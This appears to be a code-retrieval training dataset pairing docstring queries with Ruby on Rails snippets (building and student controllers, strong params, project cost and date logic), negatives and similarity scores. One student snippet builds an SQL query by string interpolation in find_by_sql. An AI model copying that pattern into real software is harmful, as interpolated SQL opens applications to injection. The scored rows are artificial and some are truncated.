"def destroy\n @building = Building.find(params[:id].to_i)\n @building.destroy\n respond_to do |format|\n format.html { redirect_to buildings_url, notice: 'Building destroyed.' }\n f... | [
"0.748217",
"0.7470972",
"0.7391487",
"0.7366457",
"0.7358545",
"0.72944933",
"0.7285561",
"0.7268076",
"0.7263258",
"0.7256532",
"0.7152209",
"0.7152209",
"0.7103397",
"0.70952666",
"0.7051283",
"0.70471823",
"0.70373553",
"0.702491",
"0.6993295",
"0.6980237",
"0.6856659",
... | 0.77981067 | 0 |
Use callbacks to share common setup or constraints between actions. | def set_admin_building
@admin_building = Admin::Building.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576"... | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def admin_building_params
params.require(:admin_building).permit(:user_id, :parent_id, :code, :name, :description)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n... | [
"0.6981273",
"0.6783789",
"0.67460483",
"0.6742222",
"0.67354137",
"0.65934366",
"0.65028495",
"0.6497783",
"0.64826745",
"0.6479415",
"0.6456823",
"0.6440081",
"0.63800216",
"0.6376521",
"0.636652",
"0.6319898",
"0.6300256",
"0.62994003",
"0.6293621",
"0.6292629",
"0.6291586... | 0.0 | -1 |
Create a new Student object | def new
@student = Student.new
@courses = Course.all
#@projecttags = Project.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_new_student(student_name)\n object = controller_create(:student)\n fail format(\"Student '%s' not created.\", student_name) if object.nil?\n\n PrcLib.info(format(\"'student': '%s' created with id %s\",\n student_name,\n object[:id]))\n object\n en... | [
"0.8074731",
"0.78298646",
"0.77185607",
"0.77027375",
"0.77027375",
"0.77027375",
"0.7628319",
"0.7512771",
"0.7481707",
"0.7481707",
"0.7481707",
"0.7481707",
"0.7481707",
"0.7481707",
"0.7378468",
"0.7347675",
"0.72915924",
"0.7056161",
"0.70536244",
"0.7026207",
"0.702395... | 0.0 | -1 |
show set_student is a private method which fetches the data about a student using the id of that student when the student is clicked in the web page, the information specific to that student is yielded. | def show
set_student
# check for the presesnce of a logged in student
if current_student.present?
# grab the course of the logged in student
@current_student_course_id = current_student.course_id
@course = Course.find_by_sql("SELECT course_name FROM courses WHERE courses.id = #{@current_student_course_id}")
#=============================================
# RECOMMENDATION
# interests1 is an array to hold the interests selected from the project_tags
interests1 = []
# check for the presence of interests selected from the project_tags for
# the student, then get the tag names and put them in an array
if !current_student.project_tags.empty?
current_student.project_tags.each do |pt|
# add it to the array
interests1.push(pt.tag_name.to_s)
end
end
# combined is an array to hold the interests from the projecttags and manually
# inputted interest
combined = []
# check for the presence of manually inputted tags (from additional_interest field of student)
if !current_student.additional_interest.blank?
# interest2 splits the tags by comma too create an array
interests2 = current_student.additional_interest.split(",")
# the two arrays (interests1 and interests2) are merger together in 'combined'
combined = (interests1 << interests2).flatten
# # if there are no additional_interest(s)
elsif !interests1.empty?
# combined is equal to the interest1 array
combined = interests1
end
# check if combined is not an empty array before computing for the projects
if !combined.empty?
# remove all unecessary spaces from combined array and make all downcase
combined = combined.map{|i| i.to_s.strip.downcase}
# remove all duplicate keywords from the combined array
# combined_uniq will store the new array without duplicates
combined_uniq = []
# iterate through each item in the combinend array and compare each word
# it it doeas not exist in comined_uniq array, add it to the array
for i in 0..combined.length
if !combined_uniq.include?combined[i].to_s
combined_uniq.push(combined[i])
end
end
# combined_interest is an array to hold the projects from the interest
# combined_interest = []
# each project that has the keyword is stored in the array
# note that the code has avoided SQl injection problems
combined_interest = combined_uniq.map{|i| Project.where("title like ? or description like ? or tags like ?", "%#{i}%", "%#{i}%", "%#{i}%")}
# array to hold non-duplicate projects which sends data to the view
@combined_interest_uniq = []
# iterate over the combined_interest array and remove all dupplicates.
# This is done by cheking for the presence of the object in combined_interest_uniq
# array before adding to it.
combined_interest.each do |i|
i.each do |j|
if !@combined_interest_uniq.include? j
@combined_interest_uniq.push(j)
end
end
end
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @student = set_student\n end",
"def set_student\n @student = Student.find_by(id: params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Stu... | [
"0.74995935",
"0.74460655",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665"... | 0.0 | -1 |
edit this fetches the existing student by the id for editing in the view using the defined private method set_student | def edit
set_student
@courses = Course.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def edit\n\t\t@student = Student.find(params[:id])\n\tend",
"def edit\n @student = find_student\n end",
"def edit\n @student = current_student\n end",
"def edit\n @student = Student.find(params[:id])\n render :edit\n end",
"def edit\n @student = Student.find(params[:id])\n render :edit\n... | [
"0.8685823",
"0.8498613",
"0.81838715",
"0.81685984",
"0.7988674",
"0.75710183",
"0.75589204",
"0.7488999",
"0.7451517",
"0.74494",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
... | 0.7164356 | 92 |
update this fetches the existing student by the id for editing in the view and updates changes to that id if there is an error preventing update, it renders the edit form again | def update
set_student
if @student.update_attributes(edit_params)
redirect_to @student
else
render 'edit'
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n\t\t@student = Student.find(params[:id])\n\n\t\tif @student.update(student_params)\n \tredirect_to @student\n \telse\n \trender 'edit'\n \tend\n\tend",
"def update\n\t\t#for each student, find the student using student id\n\t\t@student = Student.find(params[:id])\n\t\t#update the student usin... | [
"0.81054056",
"0.78222513",
"0.77056813",
"0.76945907",
"0.76774395",
"0.7658814",
"0.76107025",
"0.75962895",
"0.75708747",
"0.75332284",
"0.7515113",
"0.74779904",
"0.74699485",
"0.74474204",
"0.74474204",
"0.74474204",
"0.74474204",
"0.74474204",
"0.74300784",
"0.7425689",
... | 0.8017307 | 1 |
destroy This method is used to delete a student from the database The student is fetched buy the id And after delete, the web page is routed to the student index page located at students_path | def destroy
@student = Student.find(params[:id])
@student.destroy
redirect_to students_path
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n\t\t#for each student, find that student by using the student id, then destroy\n\t\t@student = Student.find(params[:id]).destroy\n\t\t#go back to the student path\n\t\tredirect_to students_path\n\t#wraps up student \"destroy\" action\n\tend",
"def destroy\n @student = Student.find(params[:id])\n ... | [
"0.85750955",
"0.83143413",
"0.827922",
"0.82622653",
"0.8224754",
"0.8194343",
"0.81703246",
"0.8157268",
"0.80993366",
"0.8078121",
"0.8042896",
"0.80141294",
"0.8010168",
"0.7996887",
"0.7984613",
"0.7974499",
"0.7974499",
"0.7974499",
"0.7974499",
"0.7974499",
"0.7974499"... | 0.8204014 | 5 |
supervisors for the student | def supervisor
@supervisors = Allocation.all.order(created_at: :desc).where(student_id: current_student.id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def supervisors\n (self.managers + self.trustees).uniq\n end",
"def students\n self.boating_tests.collect{|test| test.student} \n end",
"def students\n self.course_person.all(:type => \"student\").persons\n end",
"def scientist; end",
"def super_sector; end",
"def get_students\n reg... | [
"0.65310305",
"0.6197722",
"0.6101372",
"0.6002916",
"0.59040886",
"0.5893642",
"0.5866058",
"0.5862979",
"0.58554673",
"0.5833011",
"0.573758",
"0.57127976",
"0.5697739",
"0.56645787",
"0.5658557",
"0.5656469",
"0.5650854",
"0.5648672",
"0.564001",
"0.56372607",
"0.5637005",... | 0.7407582 | 0 |
This private method indicates the parameters for the student using the strong params | def student_params
params.require(:student).permit(:full_name, :email, :pnumber, :password, :password_confirmation, :course_id, :additional_interest, :level_id, project_tag_ids:[])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def student_params\n\t\t#students requires parameters, and you can have 5 - including course attributes (name of course), and cohort attributes\n\t\tparams.require(:student).permit(:first_name, :last_name, :id, :photo, courses_attributes: [:name], cohorts_attributes: [:season, :year], contacts_attributes: [:catego... | [
"0.8171539",
"0.80596083",
"0.7985216",
"0.79727954",
"0.79723895",
"0.7955438",
"0.795217",
"0.7948074",
"0.7905658",
"0.7876048",
"0.7872057",
"0.7863074",
"0.78289586",
"0.78005505",
"0.78002816",
"0.7797637",
"0.77967584",
"0.77960306",
"0.77959776",
"0.77900326",
"0.7788... | 0.0 | -1 |
This private method fetches a student from the database by the id | def set_student
@student = Student.find(current_student.id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def find_student\n Student.find(params[:id])\n end",
"def find_student\n @student = Student.find(params[:id])\n end",
"def get_student\n @student = Student.find(params[:student_id])\n end",
"def show\n @student = Student.find_by_id(params[:id])\n end",
"def students\n Stu... | [
"0.7688415",
"0.76264125",
"0.7590514",
"0.72686505",
"0.72279423",
"0.7177061",
"0.69819444",
"0.69668853",
"0.69668853",
"0.69668853",
"0.69668853",
"0.69668853",
"0.6858553",
"0.6751064",
"0.6741444",
"0.6732813",
"0.66522473",
"0.6646249",
"0.66297406",
"0.66002774",
"0.6... | 0.0 | -1 |
Find a named cluster by name | def named_cluster(name = context&.cluster)
return nil if name.nil?
clusters.find { |c| c.name == name }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_cluster(name)\n cl_obj = Com::Vmware::Vcenter::Cluster.new(vapi_config)\n\n # @todo: Use Cluster::FilterSpec to only get the cluster which was asked\n # filter = Com::Vmware::Vcenter::Cluster::FilterSpec.new(clusters: Set.new(['...']))\n clusters = cl_obj.list.select { |cluster|... | [
"0.79244137",
"0.7759211",
"0.75588804",
"0.7558487",
"0.7516298",
"0.7463788",
"0.7424275",
"0.6801324",
"0.67808205",
"0.6769736",
"0.66590685",
"0.6637537",
"0.65337664",
"0.64219713",
"0.6371728",
"0.63393897",
"0.63155484",
"0.62539256",
"0.6210004",
"0.6196461",
"0.6144... | 0.8380129 | 0 |
Find a cluster by name | def cluster(name = context&.cluster)
named_cluster(name)&.cluster
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def named_cluster(name = context&.cluster)\n return nil if name.nil?\n\n clusters.find { |c| c.name == name }\n end",
"def get_cluster(name)\n cl_obj = Com::Vmware::Vcenter::Cluster.new(vapi_config)\n\n # @todo: Use Cluster::FilterSpec to only get the cluster which was asked\n ... | [
"0.8285214",
"0.8115064",
"0.78248966",
"0.7667901",
"0.76495326",
"0.76398593",
"0.7542365",
"0.683601",
"0.67828536",
"0.6754309",
"0.6634648",
"0.6632071",
"0.65470505",
"0.654123",
"0.6528684",
"0.63668334",
"0.63610303",
"0.6305505",
"0.63053066",
"0.62797326",
"0.626371... | 0.75881004 | 6 |
Find a named user by name | def named_user(name = context&.user)
return nil if name.nil?
users.find { |c| c.name == name }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def find_user(name) \n \n if ( name.downcase != name )\n @logger.info \"Looking for #{name.downcase} instead of #{name}\"\n end\n query_result = @rally.find(:user, :fetch => true, :pagesize => 100) { equal :login_name, name.downcase }\n \n if query_result.total_result_count == 0\n retu... | [
"0.81084555",
"0.8059867",
"0.79457587",
"0.783661",
"0.77629906",
"0.76614183",
"0.76115006",
"0.7596374",
"0.7580752",
"0.7445347",
"0.73613834",
"0.73065287",
"0.72814715",
"0.7266351",
"0.7236473",
"0.72094184",
"0.7124329",
"0.7121741",
"0.7121741",
"0.71156764",
"0.7095... | 0.80484194 | 2 |
Find a user by name | def user(name = context&.user)
named_user(name)&.user
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def look_for_user(name)\n User.find_by name: name\nend",
"def find_user(name) \n \n if ( name.downcase != name )\n @logger.info \"Looking for #{name.downcase} instead of #{name}\"\n end\n query_result = @rally.find(:user, :fetch => true, :pagesize => 100) { equal :login_name, name.downcase }\n... | [
"0.8145311",
"0.81218493",
"0.7979529",
"0.79059875",
"0.7849231",
"0.7848601",
"0.78291154",
"0.7764142",
"0.7742404",
"0.77355987",
"0.7572746",
"0.745201",
"0.73547286",
"0.72880125",
"0.7272935",
"0.7256001",
"0.72431695",
"0.7202481",
"0.7202175",
"0.7199591",
"0.7194626... | 0.6417703 | 77 |
Find a context by name | def context(name = current_context)
named_context(name)&.context
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def lookup(context, name)\n\t\t\tlookup = context\n\t\t\tname.split(\".\").each { |value| lookup = lookup[value] }\n\t\t\tlookup\n\t\tend",
"def lookup(context, name)\n lookup = context\n name.split(\".\").each { |value| lookup = lookup[value] }\n lookup\n end",
"def lookup(context, name)\n ... | [
"0.7527323",
"0.74564314",
"0.74564314",
"0.74564314",
"0.73732835",
"0.71883076",
"0.70946884",
"0.6899789",
"0.68435174",
"0.6701483",
"0.6664049",
"0.6497692",
"0.6373146",
"0.6300179",
"0.62609595",
"0.6151059",
"0.6093415",
"0.607803",
"0.607803",
"0.607803",
"0.5961543"... | 0.72198105 | 5 |
Merge another kubeconfig into this one, following the merging rules listed in the specifications | def merge!(other)
other.each do |k, v|
if v.is_a?(Array)
v.each do |value|
send(k) << value.dup unless send("named_#{k[0..-2]}", value.name)
end
elsif send(k).nil?
send("#{k}=", v)
end
end
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def merge!(other)\n other.config.each do |key, value|\n case key\n when 'clusters', 'contexts', 'users'\n value.each do |other_value|\n own_value = config[key].find { |c| c['name'] == other_value['name'] }\n config[key].delete(own_value) if own_value\n ... | [
"0.7466935",
"0.6875565",
"0.65044785",
"0.6340998",
"0.629919",
"0.62115294",
"0.6153736",
"0.61479837",
"0.61478955",
"0.61460793",
"0.6118636",
"0.61009777",
"0.608316",
"0.60751975",
"0.605413",
"0.59339905",
"0.5893639",
"0.58649427",
"0.58587474",
"0.58518666",
"0.58192... | 0.53492916 | 49 |
Create a new instance from this and another kubeconfig, merging as specified in the kubeconfig merge rules specifications | def merge(other)
dup.merge!(other)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def merge!(other)\n other.config.each do |key, value|\n case key\n when 'clusters', 'contexts', 'users'\n value.each do |other_value|\n own_value = config[key].find { |c| c['name'] == other_value['name'] }\n config[key].delete(own_value) if own_value\n ... | [
"0.6483275",
"0.6345115",
"0.6187782",
"0.6146476",
"0.5767894",
"0.5740349",
"0.57027817",
"0.5675311",
"0.56635016",
"0.55806017",
"0.5550245",
"0.553743",
"0.5516324",
"0.5479064",
"0.54712796",
"0.5454585",
"0.5453035",
"0.5413143",
"0.5410168",
"0.5353593",
"0.53465253",... | 0.0 | -1 |
Create a new instance that contains only the active current context, like `kubectl config minify` | def minify
dup.minify!
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def context\n unless @instance_context\n @instance_context = ConfigurationContext.new(@version )\n end\n @instance_context\n end",
"def context\n unless @instance_context\n ... | [
"0.5789249",
"0.5754475",
"0.575254",
"0.57185733",
"0.5715356",
"0.5677113",
"0.5656849",
"0.56446433",
"0.5644488",
"0.5598752",
"0.5587757",
"0.55690724",
"0.5560584",
"0.55526775",
"0.5522156",
"0.55098957",
"0.5507092",
"0.5495272",
"0.5483518",
"0.5453227",
"0.54494226"... | 0.0 | -1 |
Writes the YAML representation into a file | def write(path, flatten: false, minify: false)
File.write(path, to_yaml(flatten: flatten, minify: minify))
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_file filename\n File.open(filename, 'w') do |io|\n io.write self.to_yaml\n end\n end",
"def write\n require 'yaml'\n open config_file_name, 'w' do |io|\n io.write to_yaml\n end\n end",
"def save\n File.open(yaml_file, 'w') {|f| f.write(to_yaml) }... | [
"0.7928384",
"0.7840288",
"0.77622116",
"0.7744286",
"0.758124",
"0.751198",
"0.74911135",
"0.7477626",
"0.74679995",
"0.7437515",
"0.7426743",
"0.739853",
"0.7371462",
"0.7311505",
"0.73042125",
"0.7298511",
"0.7288199",
"0.7288199",
"0.7288199",
"0.7288199",
"0.7288199",
... | 0.6860202 | 39 |
POST /strategic_objectives POST /strategic_objectives.json | def create
@strategic_objective = StrategicObjective.new(strategic_objective_params)
if @strategic_objective.save
flash[:success] = 'Strategic objective was successfully created.'
redirect_to :back
else
flash[:danger] = 'Strategic objective was not created.'
redirect_to :back
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @objective = @goal.objectives.create(objective_params)\n render json: @objective\n end",
"def create\n @objective = Objective.new(objective_params)\n\n respond_to do |format|\n if @objective.save\n format.html { redirect_to objectives_path }\n format.json { ... | [
"0.7141633",
"0.6696147",
"0.66141796",
"0.65129036",
"0.6313385",
"0.61748374",
"0.59816873",
"0.5840446",
"0.57571137",
"0.5668659",
"0.55917084",
"0.55910575",
"0.5586883",
"0.55716175",
"0.55606693",
"0.5555195",
"0.5551683",
"0.5501195",
"0.54405034",
"0.5418764",
"0.539... | 0.6860627 | 1 |
PATCH/PUT /strategic_objectives/1 PATCH/PUT /strategic_objectives/1.json | def update
if @strategic_objective.update(strategic_objective_params)
flash[:success] = 'Strategic objective was successfully updated.'
redirect_to :back
else
flash[:danger] = 'Strategic objective was not updated.'
redirect_to :back
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n authorize @objective.strategy, :update_objective?\n respond_to do |format|\n if @objective.update(objective_params)\n format.html { redirect_to @objective}\n format.json { render :show, status: :ok, location: @objective }\n else\n format.html { render :edit }\n ... | [
"0.630859",
"0.6271585",
"0.6247834",
"0.6141951",
"0.6055471",
"0.59989506",
"0.592237",
"0.589164",
"0.5882053",
"0.58802307",
"0.58493453",
"0.5830371",
"0.5816523",
"0.5791737",
"0.578461",
"0.578281",
"0.5764979",
"0.57611334",
"0.5744177",
"0.5743729",
"0.5723675",
"0... | 0.6559466 | 0 |
DELETE /strategic_objectives/1 DELETE /strategic_objectives/1.json | def destroy
@strategic_objective.destroy
flash[:success] = 'Strategic objective was successfully deleted.'
redirect_to :back
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n authorize @objective.strategy\n @objective.destroy\n respond_to do |format|\n format.html { redirect_to objectives_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @objective = Objective.find(params[:id])\n @objective.destroy\n\n respond_to do |f... | [
"0.7198861",
"0.7198592",
"0.69428796",
"0.69098127",
"0.6864549",
"0.68522847",
"0.68334633",
"0.6799203",
"0.67848265",
"0.6754126",
"0.6736076",
"0.6712296",
"0.6710611",
"0.6693738",
"0.66901267",
"0.668558",
"0.66778946",
"0.6666995",
"0.66661686",
"0.6654566",
"0.664862... | 0.7040203 | 2 |
Use callbacks to share common setup or constraints between actions. | def js_request?
request.format.js?
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576"... | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def strategic_objective_params
params.require(:strategic_objective).permit(:name)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n... | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",... | 0.0 | -1 |
For elements like Fixnums, true, nil... | def safe_dup(e)
e.dup
rescue TypeError
e
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def boolify(val)\n\nend",
"def elem?; end",
"def elem?; end",
"def has_elements?; end",
"def element?; end",
"def element?; end",
"def value?\n Array.wrap(element_value).reject(&:empty?).any?\n end",
"def boolean\n map ->(primitive) { primitive.to_bool }\n end",
"def value?(p0) end",
"def... | [
"0.66793966",
"0.66513515",
"0.66513515",
"0.6300628",
"0.6283817",
"0.6283817",
"0.62451214",
"0.6190507",
"0.61325306",
"0.609765",
"0.60735166",
"0.5938658",
"0.58471704",
"0.5786619",
"0.5768847",
"0.57674146",
"0.5764474",
"0.57610524",
"0.5752313",
"0.5752313",
"0.56675... | 0.0 | -1 |
Mash uses convert_value to mashify values on input. We override it here to convert hash or array values to VividMash or AttrArray for consistency and to ensure that the added parts of the attribute tree will have the correct cache invalidation behavior. | def convert_value(value)
case value
when VividMash, AttrArray
value
when Hash
VividMash.new(value, __root__, __node__, __precedence__)
when Array
AttrArray.new(value, __root__, __node__, __precedence__)
else
value
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def transform_attr(key, value); end",
"def process_attribute(key, value)\n return super unless key == :value\n\n @built[:value] = value\n nil\n end",
"def convert_value\n # Do nothing if value has not changed\n return true unless value_changed?\n # Cast the va... | [
"0.59822595",
"0.5768418",
"0.5669697",
"0.5562936",
"0.5486832",
"0.54643476",
"0.54540086",
"0.54345524",
"0.5422187",
"0.53767693",
"0.5364814",
"0.53512686",
"0.5336543",
"0.533401",
"0.5325592",
"0.5311765",
"0.5310388",
"0.5308666",
"0.5308666",
"0.5294049",
"0.52517307... | 0.7826414 | 0 |
VALID DATE CHECKER, modified accordingly from source Credit: Gabe Hollombe, brettish Source: Source: | def validDate
if (Date.parse(startDate.to_s) rescue ArgumentError) == ArgumentError
errors.add(:startDate, 'must be a valid date')
elsif (Date.parse(endDate.to_s) rescue ArgumentError) == ArgumentError
errors.add(:endDate, 'must be a valid date')
elsif startDate >= endDate
errors.add(:endDate, 'must be after start date')
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def check_date\n\t\tif self.hasError\n\t\t\terrors.add(\"\", \"You entered Invalid date: \\n - \"+self.interviewer.name)\n\t\t\t# puts \"===================CHECKDATE===================\"\n\t\telsif Time.at(self.sched_end.to_i) <= Time.at(self.sched_start.to_i)\n\t\t\terrors.add(\"\", \"Start time cannot be greater... | [
"0.75195503",
"0.7461279",
"0.73901826",
"0.7256414",
"0.72540355",
"0.71820295",
"0.71338344",
"0.70670766",
"0.7006116",
"0.7000525",
"0.69793063",
"0.69645625",
"0.6962132",
"0.6962132",
"0.6949388",
"0.69414705",
"0.68934137",
"0.68849695",
"0.6864981",
"0.6818619",
"0.68... | 0.6689923 | 26 |
Calculates actual cost from the activities claiming this project as a parent. In the even there are no activities, sets this projects' cost to 0. | def update_actual_cost
cost = BigDecimal(0.00, 10)
self.activities.each do |activity|
cost += activity.actualCost
end
self.actual_cost = cost
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_target_cost\n cost = BigDecimal(0.00, 10)\n self.activities.each do |activity|\n cost += activity.targetCost\n end\n self.target_cost = cost\n end",
"def calculate_base_cost!\n result_obj = self.cost_matrix.reduction\n\n @base_cost = result_obj[:total_reduction]\n if(self.pa... | [
"0.67450726",
"0.63078296",
"0.60644835",
"0.5924494",
"0.58563316",
"0.5701082",
"0.5651934",
"0.55800045",
"0.55486435",
"0.5510656",
"0.5458906",
"0.54580826",
"0.54396963",
"0.53864676",
"0.5360783",
"0.53606296",
"0.5358535",
"0.5349367",
"0.5336859",
"0.5319284",
"0.531... | 0.66025716 | 1 |
returns a hash of (year, zeroBigDecimal) with one year for each year this project spans. | def initialized_year_hash
year_in_range = self.startDate.year
year_hash = {}
while year_in_range <= self.endDate.year
year_hash[year_in_range] = BigDecimal(0.0, 10)
year_in_range += 1
end
year_hash
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def activity_year_fractions_hash(activity)\n year_fractions = {}\n total_activity_days = activity.endDate - activity.startDate # Cannot be zero, by :validDate\n range_start = activity.startDate\n while range_start.year < activity.endDate.year\n range_end = Date.new(range_start.year + 1)\n yea... | [
"0.6363502",
"0.61812645",
"0.61228144",
"0.6122274",
"0.6098065",
"0.60710746",
"0.60159653",
"0.5984587",
"0.5910871",
"0.5897085",
"0.5861707",
"0.5777073",
"0.57499504",
"0.5746127",
"0.5731222",
"0.5730017",
"0.5729096",
"0.56974494",
"0.56662005",
"0.5659861",
"0.564661... | 0.7543179 | 0 |
given an activity, returns a hash of (year, fraction of activity's time) across the activity's start and end dates. Note this is inclusive of the startDate, exclusive of the endDate. | def activity_year_fractions_hash(activity)
year_fractions = {}
total_activity_days = activity.endDate - activity.startDate # Cannot be zero, by :validDate
range_start = activity.startDate
while range_start.year < activity.endDate.year
range_end = Date.new(range_start.year + 1)
year_fractions[range_start.year] = ((range_end - range_start) / total_activity_days)
range_start = range_end
end
year_fractions[range_start.year] = ((activity.endDate - range_start) / total_activity_days)
year_fractions
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialized_year_hash\n year_in_range = self.startDate.year\n year_hash = {}\n while year_in_range <= self.endDate.year\n year_hash[year_in_range] = BigDecimal(0.0, 10)\n year_in_range += 1\n end\n year_hash\n end",
"def hours_per_day(entries)\n hours_per_day = Hash.new(0.0)\n ent... | [
"0.5908708",
"0.56408155",
"0.54809797",
"0.54439574",
"0.5361603",
"0.5255482",
"0.5215322",
"0.5178866",
"0.5133617",
"0.5124898",
"0.51215196",
"0.5097095",
"0.5075578",
"0.5063915",
"0.49913558",
"0.4982146",
"0.49511474",
"0.4950528",
"0.49494553",
"0.49253696",
"0.49173... | 0.8638375 | 0 |
Exclusive of the endDate, inclusive of the startDate | def update_target_duration
self.target_duration = self.endDate - self.startDate
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def range\n (start_date...end_date) #exclusive date range\n end",
"def valid_start_and_end_dates?\n return false unless start.present? && self.end.present?\n start <= self.end\n end",
"def valid_end_date\n self.end_date - self.start_date > 0 ? true : false\n end",
"def exclusive\n if ex... | [
"0.78410435",
"0.690698",
"0.6839143",
"0.68173516",
"0.6727593",
"0.6537028",
"0.6530289",
"0.6521437",
"0.6519329",
"0.6516437",
"0.6489042",
"0.64759374",
"0.6449955",
"0.6425027",
"0.6409822",
"0.63950634",
"0.6375876",
"0.6362318",
"0.6336301",
"0.63312376",
"0.6306568",... | 0.0 | -1 |
Exclusive of the today, inclusive of the startDate | def update_actual_duration
self.actual_duration = Date.today - self.startDate
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def starts_today\n all.select {|event| event.starts == (@date_for_test || Date.today)}\n end",
"def current?\n (start_date..end_date).cover?(Date.today)\n end",
"def current?\n start_date = DateTime.new(self.year, 6, 21)\n # end_date should be one year after the start_date\n end_date ... | [
"0.7086062",
"0.6642049",
"0.6635948",
"0.6569224",
"0.6550649",
"0.65070677",
"0.64305747",
"0.6423937",
"0.64064544",
"0.63947463",
"0.6384243",
"0.63804346",
